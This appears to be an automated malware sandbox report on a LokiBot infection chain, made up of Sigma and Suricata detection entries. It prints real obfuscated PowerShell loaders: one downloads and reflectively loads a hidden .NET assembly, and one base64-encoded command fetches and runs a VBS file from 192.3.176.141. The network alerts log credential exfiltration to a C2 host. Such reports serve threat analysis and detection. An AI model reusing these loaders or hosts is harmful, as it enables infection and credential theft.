rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesa

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , ProcessId: 2036, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3924, TargetFilename: C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3560, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", CommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWN

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3924, TargetFilename: C:\Users\user\AppData\Local\Temp\ojtid1cu.x1o.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", ProcessId: 3136, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:46:30.381977+0200	2024197	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49162	TCP
2024-10-25T19:46:33.095032+0200	2024197	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49164	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:46:30.381878+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49162	192.3.176.141	80	TCP
2024-10-25T19:46:33.094811+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	192.3.176.141	80	TCP
2024-10-25T19:46:52.895546+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49170	192.3.176.141	80	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:31.091347+0200	2024312	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:32.209410+0200	2024312	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.220	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:30.125461+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.419412+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.553307+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.682148+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.809250+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.964782+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:39.095717+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.313650+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.572656+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.669867+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.859217+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:45.251829+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.366646+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:48.195618+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.699028+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.827790+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:52.236705+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.769908+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:55.891682+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:57.017578+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.148222+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.236458+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.465093+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.939381+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:03.143555+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:05.042808+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:06.193354+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.340179+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:09.129653+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.449357+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.574921+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.702426+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.818338+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.990332+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:16.113459+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.275374+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.375204+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:20.414608+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.661835+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.764766+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.900246+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.468506+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.635806+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.759681+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:29.516389+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.633390+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:32.209099+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.662009+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.906884+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:36.058065+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.216587+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.335924+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.495066+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.730504+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.853254+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.979309+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:44.455325+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.538198+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.666514+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:48.090331+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:33.251844+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49179	TCP
2024-10-25T19:47:34.386500+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49180	TCP
2024-10-25T19:47:35.545416+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49181	TCP
2024-10-25T19:47:36.662923+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49182	TCP
2024-10-25T19:47:37.790008+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49183	TCP
2024-10-25T19:47:38.960319+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49184	TCP
2024-10-25T19:47:40.079504+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49185	TCP
2024-10-25T19:47:41.270431+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49186	TCP
2024-10-25T19:47:42.534982+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49187	TCP
2024-10-25T19:47:43.679975+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-25T19:47:44.845318+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-25T19:47:46.229549+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-25T19:47:47.537689+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-25T19:47:49.214920+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-25T19:47:50.675603+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-25T19:47:51.791813+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-25T19:47:53.233322+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-25T19:47:54.722745+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-25T19:47:56.863914+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-25T19:47:58.009579+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-25T19:47:59.103378+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-25T19:48:00.223032+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-25T19:48:01.930545+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-25T19:48:02.899141+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-25T19:48:04.123553+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-25T19:48:06.025374+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-25T19:48:07.188015+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-25T19:48:08.680102+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-25T19:48:10.269576+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-25T19:48:11.426985+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-25T19:48:12.559092+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-25T19:48:13.663865+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-25T19:48:14.808154+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-25T19:48:15.960739+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-25T19:48:17.120095+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-25T19:48:18.236424+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-25T19:48:19.345267+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-25T19:48:21.521456+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-25T19:48:22.619238+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-25T19:48:23.753452+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49218	TCP
